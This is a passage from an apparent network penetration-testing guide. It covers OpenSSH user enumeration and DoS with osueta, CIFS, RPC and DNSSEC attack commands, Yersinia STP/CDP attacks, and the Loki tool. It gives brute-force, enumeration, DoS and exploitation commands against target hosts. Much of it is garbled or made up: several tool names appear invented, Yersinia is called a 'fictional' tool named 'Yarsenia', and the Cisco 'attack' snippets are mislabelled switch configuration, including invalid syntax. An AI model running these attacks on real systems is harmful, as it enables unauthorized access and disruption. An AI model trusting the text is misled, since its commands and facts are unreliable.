- Can establish a Denial of Service (DOS) condition in the OpenSSH server.
- Provides options for host enumeration, username enumeration, delay settings, username variations, DOS attack, etc.

Dependencies:

Debian:

```
# apt-get install python-ipy python-nmap # pip install paramiko # pip install IPy
```

ArchLinux:

```
# pacman -S python2-ipy python2-nmap python2-paramiko
```

Installation:

```
$ git clone https://github.com/c0r3dump3d/osueta.git
```

Usage:

```
usage: osueta.py [-h] [-H HOST] [-k HFILE] [-f FQDN] [-p PORT] [-L UFILE]
             [-U USER] [-d DELAY] [-v VARI] [-o OUTP] [-l LENGTH]
             [-c VERS] [--dos DOS] [-t THREADS]

OpenSSH User Enumeration Time-Based Attack Python script

optional arguments:
-h, --help  show this help message and exit
-H HOST     Host Ip or CIDR netblock.
-k HFILE    Host list in a file.
-f FQDN     FQDN to attack.
-p PORT     Host port.
-L UFILE    Username list file.
-U USER     Only use a single username.
-d DELAY    Time delay fixed in seconds. If not, delay time is calculated.
-v VARI     Make variations of the username (default yes).
```

```
-o OUTP      Output file with positive results.
-l LENGTH    Length of the password in characters (x1000) (default 40).
-c VERS      Check or not the OpenSSH version (default yes).
--dos DOS    Try to make a DOS attack (default no).
-t THREADS   Threads for the DOS attack (default 5).
```

Examples:

- Single user enumeration attempt with username variations:

```
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
```

- Single user enumeration attempt with no user variations and a DOS attack:

```
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes
```

- Scanning a C class network with only one user:

```
./osueta -H 192.168.1.0/24 -p 22 -U root -v no
```

- Scanning a C class network with usernames from a file, delay time 15 seconds, and a password of 50000 characters:

```
./osueta -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50
```

https://github.com/c0r3dump3d/osueta

CIFS

CIFS reconnaissance involves gathering information about CIFS shares, users, and systems on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify CIFS interactions and gather information about CIFS-enabled systems. Tools like Wireshark or CIFS sniffers can be used to capture and analyze CIFS packets.

```
wireshark -i <interface> -f "cifs"
```

This command uses Wireshark to capture CIFS packets on the specified network interface, allowing analysis of CIFS traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying CIFS-enabled systems to gather information about their shares and users. Tools like CIFS clients or CIFS scanners can be used to perform active CIFS reconnaissance.

```
smbclient -L //<target_ip>
```

This command uses smbclient to query the specified target IP address for a list of available CIFS shares.

Attack Methods

CIFS attacks exploit vulnerabilities in CIFS shares or configurations to gain unauthorized access or escalate privileges.

CIFS Brute Force:

CIFS brute force attacks involve attempting to guess CIFS credentials to gain unauthorized access or escalate privileges.

```
cifs-bruteforce <target_ip> -u <username_list> -p <password_list>
```

This command uses cifs-bruteforce to perform a CIFS brute force attack against the specified target IP address, using the provided username and password lists to attempt to gain access.

CIFS Enumeration:

CIFS enumeration attacks involve querying CIFS shares to gather information about their contents and permissions.

```
cifs-enumerate <target_ip>
```

This command uses cifs-enumerate to perform CIFS enumeration against the specified target IP address, attempting to identify CIFS-enabled systems and their configurations.

RPC

RPC reconnaissance involves gathering information about RPC services, ports, and configurations on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify RPC interactions and gather information about RPC-enabled systems. Tools like Wireshark or RPC sniffers can be used to capture and analyze RPC packets.

```
wireshark -i <interface> -f "rpc"
```

This command uses Wireshark to capture RPC packets on the specified network interface, allowing analysis of RPC traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying RPC-enabled systems to gather information about their services and configurations. Tools like RPC clients or RPC scanners can be used to perform active RPC reconnaissance.

```
rpcinfo -p <target_ip>
```

This command uses rpcinfo to query the specified target IP address for a list of available RPC services and their associated ports.

Attack Methods

RPC attacks exploit vulnerabilities in RPC services or configurations to gain unauthorized access or perform unauthorized actions.

RPC Denial of Service (DoS):

RPC denial of service attacks involve sending specially crafted RPC requests to overwhelm RPC services and disrupt their operations.

```
rpc-dos <target_ip> -p <port> -n <num_packets>
```

This command uses rpc-dos to perform an RPC denial of service attack against the specified target IP address on the specified port, flooding it with a specified number of packets.

RPC Exploitation:

RPC exploitation attacks involve exploiting vulnerabilities in RPC services to gain unauthorized access or escalate privileges.

```
rpc-exploit <target_ip> -p <port> -x <exploit>
```

This command uses rpc-exploit to perform an RPC exploitation attack against the specified target IP address on the specified port, using the specified exploit to gain access or escalate privileges.

DNSSEC

DNSSEC reconnaissance involves gathering information about DNSSEC configurations, keys, and signatures on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify DNSSEC interactions and gather information about DNSSEC-enabled systems. Tools like Wireshark or DNSSEC sniffers can be used to capture and analyze DNSSEC packets.

```
wireshark -i <interface> -f "dnssec"
```

This command uses Wireshark to capture DNSSEC packets on the specified network interface, allowing analysis of DNSSEC traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying DNSSEC-enabled systems to gather information about their configurations and security mechanisms. Tools like DNSSEC clients or DNSSEC scanners can be used to perform active DNSSEC reconnaissance.

```
dnssec-query <target>
```

This command uses dnssec-query to query the specified target for DNSSEC information, attempting to identify DNSSEC-enabled systems and their configurations.

Attack Methods

DNSSEC attacks exploit vulnerabilities in DNSSEC configurations or implementations to perform unauthorized actions or bypass security mechanisms.

DNSSEC Zone Walking:

DNSSEC zone walking attacks involve using DNSSEC-signed zones to enumerate all DNS records, including those that are supposed to be hidden.

```
dnssec-zone-walk <target>
```

This command uses dnssec-zone-walk to perform a DNSSEC zone walking attack against the specified target, attempting to enumerate all DNS records in the DNSSEC-signed zone.

DNSSEC Key Rollover:

DNSSEC key rollover attacks involve manipulating DNSSEC keys to disrupt DNSSEC operations or perform unauthorized actions.

```
dnssec-key-rollover <target_ip> -k <key>
```

This command uses dnssec-key-rollover to perform a DNSSEC key rollover attack against the specified target IP address, manipulating the specified DNSSEC key to disrupt DNSSEC operations.

Framework

Yarsenia is a fictional name used in a technical document discussing various attacks on the Spanning Tree Protocol (STP) and Cisco Discovery Protocol (CDP). The document outlines different methods attackers can use to disrupt network operations and compromise security.

1. **DOS Attack Sending Configuration BPDUs**: In this attack, malicious actors continuously send configuration Bridge Protocol Data Units (BPDUs) with a root path cost of 0 and randomly generated bridge IDs. This flood of BPDUs aims to disrupt switches' normal operations by causing them to recalculate their STP configurations, leading to a denial of service (DoS) condition.
2. **DOS Attack Sending TCN BPDUs**: Similar to the previous attack, this method involves sending Topology Change Notification (TCN) BPDUs continuously. This causes the root switch to send configuration BPDUs, notifying network devices of the change and forcing them to recalculate their STP configurations, thus causing disruption.
3. **Non-DOS Attack Claiming Root Role**: Here, attackers aim to gain control of the root role within the STP tree by sending configuration BPDUs with lower priorities than the current root bridge. By doing so, they can become the root bridge and potentially control the flow of traffic within the network.
4. **Non-DOS Attack Claiming a Non-Root Role**: Similar to the previous attack, but instead of claiming the root role, attackers claim a non-root role within the STP tree, possibly to manipulate traffic flow or gather information.
5. **DOS Attack Causing Eternal Root Elections**: This attack involves continuously sending configuration BPDUs with decremented priorities, leading to infinite root elections within the STP tree. This results in network instability and performance issues.
6. **DOS Attack Causing Root Disappearance**: Attackers become the root bridge but stop sending configuration BPDUs, causing a new election process to begin after the maximum age time period elapses. This attack disrupts network stability by repeatedly triggering root elections.

The document also provides mitigations for these attacks, such as using port security, enabling BPDU guard, and utilizing root guard features in Cisco devices to prevent unauthorized devices from affecting the network's STP configurations.

Additionally, the document discusses attacks on CDP, a protocol used by Cisco devices for network discovery. Attackers can exploit CDP by sending bogus data packets to exhaust device memory, leading to denial of service conditions. Another attack involves creating virtual Cisco devices to confuse network administrators.

examples of commands and codes related to the Yarsenia attacks on the Spanning Tree Protocol (STP) and Cisco Discovery Protocol (CDP):

1. **DOS Attack Sending Configuration BPDUs**:

```
# Configuration to send continuous configuration BPDUs with root path cost 0
# Replace source_mac with the randomly generated MAC address
# Replace interface_name with the interface where the attack will be initiated

interface interface_name
  spanning-tree vlan 1 root primary
  spanning-tree vlan 1 hello-time 2
  spanning-tree vlan 1 forward-time 15
  spanning-tree vlan 1 max-age 20
  spanning-tree vlan 1 root-pathcost 0
```

2. **DOS Attack Sending TCN BPDUs**:

```
# Configuration to send continuous topology change notification BPDUs
# Replace interface_name with the interface where the attack will be initiated

interface interface_name
  spanning-tree vlan 1 root secondary
```

3. **Non-DOS Attack Claiming Root Role**:

```
# Configuration to claim the root role with lower priority
# Replace sniffed_bridge_id with the sniffed bridge ID and modify as needed

interface interface_name
  spanning-tree vlan 1 priority 24576  # Lower priority than sniffed_bridge_id
```

4. **Non-DOS Attack Claiming a Non-Root Role**:

```
# Configuration to continuously send configuration BPDUs with decremented priorities
# This can be scripted to decrement priority values in a loop

interface interface_name
  spanning-tree vlan 1 priority decrement 4096
```

5. **DOS Attack Causing Eternal Root Elections**:

```
# Configuration to continuously send configuration BPDUs with decremented priorities
# This can be scripted to decrement priority values in a loop

interface interface_name
  spanning-tree vlan 1 priority decrement 4096
```

6. **DOS Attack Causing Root Disappearance**:

```
# Configuration to become the root bridge but stop sending configuration BPDUs
# After max_age seconds, a new election process will begin

interface interface_name
  spanning-tree vlan 1 root primary
  spanning-tree vlan 1 root secondary
```

For CDP attacks, specific code examples or commands may vary depending on the tool or method used for the attack. However, below is a generic example:

```
# Example of sending CDP packets with bogus data
# This could be scripted using tools like Scapy or custom CDP packet crafting software

cdp_packet = CraftCDPPacket(bogus_data)
send(cdp_packet)
```

These examples demonstrate how attackers can execute various Yarsenia attacks and the corresponding mitigation strategies in Cisco environments.

https://github.com/tomac/yersinia

Loki

Loki is a powerful Python-based infrastructure penetration testing tool designed to target layer 3 protocols. It focuses on assessing the security of network infrastructures by analyzing and manipulating various protocols commonly used in networking environments. Developed with versatility and efficiency in mind, Loki covers a wide range of protocols, including ARP, HSRP, RIP, BGP, OSPF, EIGRP, WLCCP, VRRP, BFD, LDP, and MPLS.

Initially, Loki was conceived as a means to integrate several standalone command-line tools, such as bgp_cli, ospf_cli, and ldp_cli, into a unified platform with a user-friendly graphical interface. However, over time, Loki evolved beyond a mere aggregation of individual tools. It now offers a cohesive framework where its modules can leverage and build upon each other's capabilities.

One of the key strengths of Loki is its modular architecture, which allows different modules to interact and cooperate with each other seamlessly. For example, Loki enables users to combine ARP spoofing from the ARP module with man-in-the-middle attacks or rewrite MPLS labels. This level of integration and interoperability enhances the tool's effectiveness and provides penetration testers with a comprehensive set of capabilities for assessing network security.

By leveraging Loki's capabilities, security professionals can conduct in-depth assessments of network infrastructure security, identify vulnerabilities, and assess the effectiveness of defensive measures. Whether it's simulating routing protocol attacks, exploiting weaknesses in ARP, or analyzing MPLS configurations, Loki equips users with the tools they need to evaluate the resilience of network defenses and implement appropriate security measures.

Overall, Loki represents a valuable addition to the arsenal of infrastructure penetration testing tools, offering a flexible and powerful platform for assessing and enhancing the security of network environments. With its focus on layer 3 protocols and its modular design, Loki provides security professionals with a versatile toolkit for identifying and mitigating potential security risks in complex network infrastructures.

Other Tools

- https://github.com/lanjelot/patator
- https://github.com/mitre-attack/bzar

References

- https://start.me/p/X2K4oB/network